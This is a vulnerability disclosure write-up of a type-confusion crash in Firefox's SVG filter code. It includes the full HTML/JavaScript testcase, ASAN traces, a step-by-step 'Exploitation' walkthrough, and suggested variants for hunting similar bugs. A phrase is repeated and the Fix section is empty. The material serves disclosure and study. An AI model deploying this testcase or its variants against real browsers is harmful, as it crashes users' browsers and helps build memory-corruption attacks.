type confusion in mozilla::SVGGeometryFrame::GetCanvasTM
A crafted page combining SVG filters, a CSS filter reference and a -moz-element background causes Firefox to treat an SVG frame as the wrong type, leading to an out-of-bounds read in SVGGeometryFrame::GetCanvasTM. The result is a crash of the content process, not demonstrated code execution.
- Fixed in 37 days
- Paid in 55 days
- Disclosed after 37 days
Created attachment 8868038 crash.html (testcase, crashes firefox)
The following testcase crashes the latest ASAN build of Firefox.
<script> function start() { o0=document.createElement('iframe'); o0.src="data:text/html,<html><svg xmlns='http://www.w3.org/2000/svg'></svg></html>"; o0.addEventListener('load', fun0,false); document.body.appendChild(o0); o3=document; } function fun0() { o6=o0.contentDocument; o7=o6.getElementsByTagName('*')[3]; o316=document.documentElement; o3.designMode='on'; document.replaceChild(o6.documentElement,window.top.document.documentElement); o1024=document.createElementNS('http://www.w3.org/2000/svg','filter'); o1024.setAttribute('id','id0'); o1031=document.createElementNS('http://www.w3.org/2000/svg','feMerge'); o1039=document.createElementNS('http://www.w3.org/2000/svg','feMergeNode'); o1031.appendChild(o1039); o1024.appendChild(o1031); o7.appendChild(o1024); o1039.style.filter='url(#id0)'; o316.style.filter='url(#id7)'; o1039.id='id20'; o610=document.createElement('style'); o611=document.createTextNode("*{ background: -moz-element(#id20);"); o610.appendChild(o611); document.documentElement.appendChild(o610); } </script> <body onload="start()"></body>ASAN output:
================================================================= ==28350==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd26840d038 at pc 0x7fd2615b5745 bp 0x7fff4bdc59b0 sp 0x7fff4bdc59a8 READ of size 8 at 0x7fd26840d038 thread T0 (Web Content) #0 0x7fd2615b5744 in mozilla::SVGGeometryFrame::GetCanvasTM() /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52 #1 0x7fd2616446ac in nsSVGUtils::GetCanvasTM(nsIFrame*) /home/worker/workspace/build/src/layout/svg/nsSVGUtils.cpp:428:50 #2 0x7fd2615eb37f in nsFilterInstance::GetPreFilterNeededArea(nsIFrame*, nsRegion const&) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:114:18 #3 0x7fd2616225ae in nsSVGIntegrationUtils::GetRequiredSourceForInvalidArea(nsIFrame*, nsRect const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:354:10 #4 0x7fd2612926cb in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2448:7 #5 0x7fd26110ba2c in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3598:15 #6 0x7fd26162a025 in PaintFrameCallback::operator()(gfxContext*, gfxRect const&, mozilla::gfx::SamplingFilter, gfxMatrix const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:1200:3 #7 0x7fd25ca35358 in gfxCallbackDrawable::Draw(gfxContext*, gfxRect const&, mozilla::gfx::ExtendMode, mozilla::gfx::SamplingFilter, double, gfxMatrix const&) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:172:16 #8 0x7fd25ca34c26 in gfxCallbackDrawable::MakeSurfaceDrawable(mozilla::gfx::SamplingFilter) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:129:5 #9 0x7fd25ca351a5 in gfxCallbackDrawable::Draw(gfxContext*, gfxRect const&, mozilla::gfx::ExtendMode, mozilla::gfx::SamplingFilter, double, gfxMatrix const&) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:163:28 #10 0x7fd25cbae754 in gfxUtils::DrawPixelSnapped(gfxContext*, gfxDrawable*, gfxSize const&, mozilla::image::ImageRegion const&, mozilla::gfx::SurfaceFormat, mozilla::gfx::SamplingFilter, unsigned int, double) /home/worker/workspace/build/src/gfx/thebes/gfxUtils.cpp:584:15 #11 0x7fd25cc30e40 in mozilla::image::DynamicImage::Draw(gfxContext*, mozilla::gfx::IntSizeTypedmozilla::gfx::UnknownUnits const&, mozilla::image::ImageRegion const&, unsigned int, mozilla::gfx::SamplingFilter, mozilla::Maybemozilla::SVGImageContext const&, unsigned int, float) /home/worker/workspace/build/src/image/DynamicImage.cpp:238:5 #12 0x7fd2611226da in DrawImageInternal(gfxContext&, nsPresContext*, imgIContainer*, mozilla::gfx::SamplingFilter, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, mozilla::Maybemozilla::SVGImageContext const&, unsigned int, mozilla::gfx::ExtendMode, float) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:6692:22 #13 0x7fd26112685b in nsLayoutUtils::DrawImage(gfxContext&, nsPresContext*, imgIContainer*, mozilla::gfx::SamplingFilter, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, unsigned int, float) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:6925:10 #14 0x7fd261971480 in mozilla::nsImageRenderer::Draw(nsPresContext*, nsRenderingContext&, nsRect const&, nsRect const&, nsRect const&, nsPoint const&, nsSize const&, mozilla::gfx::IntRectTypedmozilla::CSSPixel const&, float) /home/worker/workspace/build/src/layout/painting/nsImageRenderer.cpp:544:9 #15 0x7fd2618c158b in mozilla::nsImageRenderer::DrawLayer(nsPresContext*, nsRenderingContext&, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, nsSize const&, float) /home/worker/workspace/build/src/layout/painting/nsImageRenderer.cpp:706:10 #16 0x7fd2618b927d in nsCSSRendering::PaintStyleImageLayerWithSC(nsCSSRendering::PaintBGParams const&, nsRenderingContext&, nsStyleContext*, nsStyleBorder const&) /home/worker/workspace/build/src/layout/painting/nsCSSRendering.cpp:2721:30 #17 0x7fd2618b72e9 in nsCSSRendering::PaintStyleImageLayer(nsCSSRendering::PaintBGParams const&, nsRenderingContext&) /home/worker/workspace/build/src/layout/painting/nsCSSRendering.cpp:1943:10 #18 0x7fd261927229 in nsDisplayBackgroundImage::PaintInternal(nsDisplayListBuilder*, nsRenderingContext*, nsRect const&, nsRect*) /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:3689:5 #19 0x7fd26123d158 in nsDisplayCanvasBackgroundImage::Paint(nsDisplayListBuilder*, nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:390:3 #20 0x7fd26189a639 in mozilla::FrameLayerBuilder::PaintItems(nsTArraymozilla::FrameLayerBuilder::ClippedDisplayItem&, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, gfxContext*, nsRenderingContext*, nsDisplayListBuilder*, nsPresContext*, mozilla::gfx::IntPointTypedmozilla::gfx::UnknownUnits const&, float, float, int) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6036:21 #21 0x7fd26189d114 in mozilla::FrameLayerBuilder::DrawPaintedLayer(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, void*) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6211:19 #22 0x7fd25c8199da in mozilla::layers::ClientPaintedLayer::PaintThebes(nsTArraymozilla::layers::ReadbackProcessor::Update) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:86:5 #23 0x7fd25c81a656 in mozilla::layers::ClientPaintedLayer::RenderLayerWithReadback(mozilla::layers::ReadbackProcessor) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:140:3 #24 0x7fd25c84b66f in mozilla::layers::ClientContainerLayer::RenderLayer() /home/worker/workspace/build/src/gfx/layers/client/ClientContainerLayer.h:57:29 #25 0x7fd25c815096 in mozilla::layers::ClientLayerManager::EndTransactionInternal(void ()(mozilla::layers::PaintedLayer, gfxContext*, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:375:13 #26 0x7fd25c815907 in mozilla::layers::ClientLayerManager::EndTransaction(void ()(mozilla::layers::PaintedLayer, gfxContext*, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:433:3 #27 0x7fd261910f47 in nsDisplayList::PaintRoot(nsDisplayListBuilder*, nsRenderingContext*, unsigned int) /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:2292:17 #28 0x7fd26110ca1e in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3721:12 #29 0x7fd2610127f6 in mozilla::PresShell::Paint(nsView*, nsRegion const&, unsigned int) /home/worker/workspace/build/src/layout/base/PresShell.cpp:6498:5 #30 0x7fd2608729b2 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /home/worker/workspace/build/src/view/nsViewManager.cpp:481:19 #31 0x7fd260871915 in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /home/worker/workspace/build/src/view/nsViewManager.cpp:413:33 #32 0x7fd2608752b5 in nsViewManager::ProcessPendingUpdates() /home/worker/workspace/build/src/view/nsViewManager.cpp:1095:5 #33 0x7fd260f735a8 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1985:11 #34 0x7fd260f7e973 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:300:7 #35 0x7fd260f7e644 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:322:5 #36 0x7fd260f80cfb in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:753:5 #37 0x7fd260f80cfb in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:666 #38 0x7fd260f808a5 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:567:9 #39 0x7fd2617a4542 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:67:16 #40 0x7fd25ba765e9 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:155:20 #41 0x7fd25b7349a4 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1630:28 #42 0x7fd25b68cf64 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2040:25 #43 0x7fd25b689df7 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1975:17 #44 0x7fd25b68bb04 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1844:5 #45 0x7fd25b68c136 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1877:15 #46 0x7fd25a8ef8a0 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1270:14 #47 0x7fd25a8ec2e8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:393:10 #48 0x7fd25b694f21 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21 #49 0x7fd25b5f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10 #50 0x7fd25b5f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #51 0x7fd25b5f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #52 0x7fd2608eda8f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27 #53 0x7fd264139fb7 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22 #54 0x7fd25b5f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10 #55 0x7fd25b5f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #56 0x7fd25b5f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #57 0x7fd264139ae5 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:709:34 #58 0x4eb7a3 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #59 0x4eb7a3 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #60 0x7fd27633082f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291 #61 0x41d0f8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d0f8)
0x7fd26840d038 is located 0 bytes to the right of global variable 'vtable for SVGFEContainerFrame' defined in '/home/worker/workspace/build/src/obj-firefox/layout/svg/Unified_cpp_layout_svg0.cpp' (0x7fd26840cba0) of size 1176 SUMMARY: AddressSanitizer: global-buffer-overflow /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52 in mozilla::SVGGeometryFrame::GetCanvasTM() Shadow bytes around the buggy address: 0x0ffacd0799b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd0799c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd0799d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd0799e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd0799f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ffacd079a00: 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 0x0ffacd079a10: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 0x0ffacd079a20: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 0x0ffacd079a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd079a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ffacd079a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==28350==ABORTING [Parent 27963] WARNING: pipe error (57): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353 [Parent 27963] WARNING: pipe error (53): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0081,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv
ASAN:DEADLYSIGNAL
==28371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4597a8f767 bp 0x7f4593c62380 sp 0x7f4593c62370 T2) ==28371==The signal is caused by a WRITE memory access. ==28371==Hint: address points to the zero page. #0 0x7f4597a8f766 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13 #1 0x7f4597a948b7 in OnChannelError /home/worker/workspace/build/src/ipc/glue/MessageLink.cpp:368:12 #2 0x7f4597a948b7 in non-virtual thunk to mozilla::ipc::ProcessLink::OnChannelError() /home/worker/workspace/build/src/ipc/glue/MessageLink.cpp:360 #3 0x7f4597a40c71 in event_persist_closure /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1580:9 #4 0x7f4597a40c71 in event_process_active_single_queue /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1639 #5 0x7f4597a383d9 in event_process_active /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1741:9 #6 0x7f4597a383d9 in event_base_loop /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1961 #7 0x7f45979f8acd in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/chromium/src/base/message_pump_libevent.cc:373:7 #8 0x7f45979f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10 #9 0x7f45979f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #10 0x7f45979f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #11 0x7f4597a11e3f in base::Thread::ThreadMain() /home/worker/workspace/build/src/ipc/chromium/src/base/thread.cc:179:16 #12 0x7f4597a0129c in ThreadFunc(void*) /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:38:13 #13 0x7f45b37846b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9) #14 0x7f45b280d82c in clone /build/glibc-9tT8Do/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink() Thread T2 (Chrome_ChildThr) created by T0 (Web Content) here: #0 0x4a3d56 in __interceptor_pthread_create /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:245:3 #1 0x7f4597a001ec in CreateThread /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:139:14 #2 0x7f4597a001ec in PlatformThread::Create(unsigned long, PlatformThread::Delegate*, unsigned long*) /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:150 #3 0x7f4597a1187e in base::Thread::StartWithOptions(base::Thread::Options const&) /home/worker/workspace/build/src/ipc/chromium/src/base/thread.cc:98:8 #4 0x7f4597a968d7 in mozilla::ipc::ProcessChild::ProcessChild(int) /home/worker/workspace/build/src/ipc/glue/ProcessChild.cpp:24:5 #5 0x7f45a0539a42 in ContentProcess /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/ContentProcess.h:31:7 #6 0x7f45a0539a42 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:654 #7 0x4eb7a3 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30 #8 0x4eb7a3 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #9 0x7f45b272782f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291
==28371==ABORTING
Context
This report concerns the SVG layout code in the Firefox core, specifically the frame classes that implement SVG geometry and filter rendering. The crash is an out-of-bounds read caught by AddressSanitizer as a global-buffer-overflow, landing just past the vtable for SVGFEContainerFrame. caught by AddressSanitizer as a global-buffer-overflow. The crash happens in mozilla::SVGGeometryFrame::GetCanvasTM() while Firefox is computing the pre-filter area needed for an element that has a filter applied.
SVG filters are referenced by URL, for example filter: url(#id0). When the layout engine paints an element that has a filter, it asks the filter code how much source area it needs before filtering (nsFilterInstance::GetPreFilterNeededArea). That in turn asks for the canvas transform matrix of the frame via nsSVGUtils::GetCanvasTM.
Setup
The testcase was run against the latest ASAN build of Firefox at the time. The crash output shows a 64-bit Linux build, with the content process running as Web Content and a separate Chrome_ChildThr thread. No accounts, roles or special configuration are involved: the trigger is a single HTML file loaded in the browser.
The researcher attached the testcase as crash.html. The report does not describe any further tooling beyond the ASAN build itself.
Finding it
The entry point is a crash under AddressSanitizer. The first error is a global-buffer-overflow, a READ of size 8, at an address that ASAN reports as sitting 0 bytes to the right of the global variable vtable for SVGFEContainerFrame. The read lands 0 bytes to the right of the global variable 'vtable for SVGFEContainerFrame', while the crashing function is SVGGeometryFrame::GetCanvasTM.
The top frame of the stack is mozilla::SVGGeometryFrame::GetCanvasTM() at SVGGeometryFrame.cpp:701:52. That is the mismatch: a call path that treats a frame as an SVG geometry frame, while the object in memory is an SVGFEContainerFrame. The rest of the stack shows how the call is reached during painting, through filter area computation and background image rendering.
Exploitation
The whole trigger is client-side JavaScript in an HTML document. It builds an SVG document inside an iframe, moves that document's root element into the top document, then creates a filter chain and applies it in a way that makes the layout engine ask a filter container frame for a geometry frame's canvas transform.
Step 1: create the iframe and load an SVG document
<script>
function start() {
o0=document.createElement('iframe');
o0.src="data:text/html,<html><svg xmlns='http://www.w3.org/2000/svg'></svg></html>";
o0.addEventListener('load', fun0,false);
document.body.appendChild(o0);
o3=document;
}
A data: URL iframe is created whose document contains an empty <svg> element. A load handler fun0 is registered, and the iframe is appended to the body. The global o3 is set to the current document.
Step 2: take the SVG root and switch on designMode
function fun0() {
o6=o0.contentDocument;
o7=o6.getElementsByTagName('*')[3];
o316=document.documentElement;
o3.designMode='on';
When the iframe loads, o6 is the iframe's content document. o7 is the fourth element returned by getElementsByTagName('*') in that document. o316 holds the top document's root element, and designMode is turned on for the top document.
Step 3: replace the top document element with the iframe's SVG root
document.replaceChild(o6.documentElement,window.top.document.documentElement);
This swaps the top document's root element for the iframe document's root element. The SVG document element is now installed in the top document.
Step 4: build a filter chain and attach it to the SVG element
o1024=document.createElementNS('http://www.w3.org/2000/svg','filter');
o1024.setAttribute('id','id0');
o1031=document.createElementNS('http://www.w3.org/2000/svg','feMerge');
o1039=document.createElementNS('http://www.w3.org/2000/svg','feMergeNode');
o1031.appendChild(o1039);
o1024.appendChild(o1031);
o7.appendChild(o1024);
An SVG <filter> with id id0 is created, containing an <feMerge> with a single <feMergeNode>. The filter is appended to o7, the element taken from the iframe document in step 2.
Step 5: apply filters by URL reference
o1039.style.filter='url(#id0)';
o316.style.filter='url(#id7)';
o1039.id='id20';
The feMergeNode gets filter: url(#id0), pointing at the filter created above. The saved top document root element (o316) gets filter: url(#id7), an id that is not defined in the testcase. The feMergeNode is then given the id id20.
Step 6: reference the element as a background image
o610=document.createElement('style');
o611=document.createTextNode("*{ background: -moz-element(#id20);");
o610.appendChild(o611);
document.documentElement.appendChild(o610);
}
</script>
<body onload="start()"></body>
A <style> element is created whose text is *{ background: -moz-element(#id20);, which makes every element use the id20 element as a background image. The style element is appended to the document element. The body's onload calls start().
The testcase applies a filter to the feMergeNode, sets a filter reference on the moved root element, and uses a -moz-element() background; the stack shows the crash reached through nsFilterInstance::GetPreFilterNeededArea.
What ASAN reported
The first failure is the type confusion itself:
==28350==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd26840d038 at pc 0x7fd2615b5745 bp 0x7fff4bdc59b0 sp 0x7fff4bdc59a8
READ of size 8 at 0x7fd26840d038 thread T0 (Web Content)
#0 0x7fd2615b5744 in mozilla::SVGGeometryFrame::GetCanvasTM() /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52
#1 0x7fd2616446ac in nsSVGUtils::GetCanvasTM(nsIFrame*) /home/worker/workspace/build/src/layout/svg/nsSVGUtils.cpp:428:50
#2 0x7fd2615eb37f in nsFilterInstance::GetPreFilterNeededArea(nsIFrame*, nsRegion const&) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:114:18
#3 0x7fd2616225ae in nsSVGIntegrationUtils::GetRequiredSourceForInvalidArea(nsIFrame*, nsRect const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:354:10
#4 0x7fd2612926cb in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2448:7
The read is 8 bytes, the size of a pointer, in SVGGeometryFrame::GetCanvasTM. The allocation context confirms the object is a filter container frame, not a geometry frame:
0x7fd26840d038 is located 0 bytes to the right of global variable 'vtable for SVGFEContainerFrame' defined in '/home/worker/workspace/build/src/obj-firefox/layout/svg/Unified_cpp_layout_svg0.cpp' (0x7fd26840cba0) of size 1176
SUMMARY: AddressSanitizer: global-buffer-overflow /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52 in mozilla::SVGGeometryFrame::GetCanvasTM()
The rest of the first stack shows the path that reaches the filter code: display list building for a stacking context, PaintFrame, a gfxCallbackDrawable used for the -moz-element() image, DynamicImage::Draw, nsImageRenderer::DrawLayer, nsCSSRendering::PaintStyleImageLayer, nsDisplayCanvasBackgroundImage::Paint, and finally the refresh driver tick that started the paint.
After the content process aborts, the parent process reports the broken IPC channel and then crashes separately:
[Parent 27963] WARNING: pipe error (57): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
[Parent 27963] WARNING: pipe error (53): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0081,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv
ASAN:DEADLYSIGNAL
=================================================================
==28371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4597a8f767 bp 0x7f4593c62380 sp 0x7f4593c62370 T2)
==28371==The signal is caused by a WRITE memory access.
==28371==Hint: address points to the zero page.
#0 0x7f4597a8f766 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13
The second crash is a SEGV on address 0x000000000000, a WRITE, in MessageChannel::OnChannelErrorFromLink on thread T2 (Chrome_ChildThr).
Root cause
The crash occurs in SVGGeometryFrame::GetCanvasTM(), and the bad address sits at the end of the SVGFEContainerFrame vtable. The call is reached through nsSVGUtils::GetCanvasTM(nsIFrame*), which is given a frame pointer and dispatches to the geometry frame implementation without the concrete type matching. The ASAN report places the read exactly at the end of the SVGFEContainerFrame vtable.
The testcase sets up the conditions for that mismatch: an SVG document element is moved into another document, a filter is attached to an feMergeNode, a second filter reference is set on the moved root element, and the filtered node is pulled into painting as a -moz-element() background. The report does not explain which of these steps produces the wrong frame type, only that the resulting frame is a filter container frame where a geometry frame is expected.
Impact
The immediate effect is a crash of the content process, followed by a crash in the parent process after the IPC channel breaks.
Fix
Variants to test
- Move an SVG root element from an iframe into the top document and apply a filter to a descendant, as in the testcase. A positive result is an ASAN global-buffer-overflow in
SVGGeometryFrame::GetCanvasTMor a similar type mismatch in the filter area code. - Reference an element with
-moz-element()while that element has a filter applied. A positive result is the filter code being reached for a frame whose type does not match the call. - Apply
filter: url(#...)to an element whose id is later reused or changed, as the testcase does withid20. A positive result is a crash during display list building for a stacking context. - Combine
designModewith a document element replacement and SVG content. A positive result is a frame tree where SVG frame types are mixed across documents.
Hunting notes
This kind of bug hides where frame types are assumed rather than checked: SVG filter and geometry code, code that walks frames during painting, and anything that crosses document boundaries, such as moving nodes between an iframe and its parent. The signals are ASAN reports that name a vtable of one class while the crashing function belongs to another, and stacks that pass through nsSVGUtils, nsFilterInstance or nsSVGIntegrationUtils.
Here the allocation context line naming vtable for SVGFEContainerFrame next to a crash in SVGGeometryFrame::GetCanvasTM is what makes the type confusion unambiguous.
What happened, in plain words
A security researcher found a way to make Firefox crash by loading a single HTML file. The file uses ordinary web features: an iframe, an SVG image, a filter, and a CSS background. When the browser tries to draw the page, it reads memory just past the end of a global vtable, and the content process aborts.
This kind of mistake is called a type confusion. Imagine a form at a doctor's office that asks for a patient's blood type, but someone hands over a form for a completely different kind of record. The person reading it follows the same layout, but the fields mean something else, and the answer they read is nonsense. In software, the "form" is a block of memory, and the "fields" are pointers to functions the program can call. If the program reads the wrong block, it can call the wrong function or read past the end of the block.
